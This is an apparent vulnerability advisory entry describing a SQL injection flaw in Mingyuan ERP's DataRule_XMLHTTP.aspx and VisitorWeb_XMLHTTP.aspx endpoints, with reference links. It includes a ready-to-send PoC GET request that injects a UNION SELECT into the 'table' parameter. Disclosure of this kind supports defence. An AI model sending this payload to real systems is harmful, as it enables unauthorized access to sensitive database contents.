Description
明源ERP VisitorWeb_XMLHTTP.aspx 存在SQL注入漏洞，攻击者进而利用此漏洞获取数据库敏感信息。
明源ERP DataRule_XMLHTTP 存在SQL注入漏洞
PoC
GET /BUAdjust/DataRule/DataRule_XMLHTTP.aspx/?ywtype=getFieldXML&table=-1%27%20union%20select%20@@version-- HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://www.ddpoc.com/DVB-2025-9685.html
https://www.cnblogs.com/0day-li/p/19007085
https://adg.csdn.net/694cfdbb5b9f5f31781ac04d.html
https://github.com/plbplbp/loudong001/blob/main/%E6%98%8E%E6%BA%90%E4%BA%91/%E6%98%8E%E6%BA%90%E4%BA%91ERP%E6%8E%A5%E5%8F%A3VisitorWeb_XMLHTTP.aspx%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
https://cn-sec.com/archives/4313822.html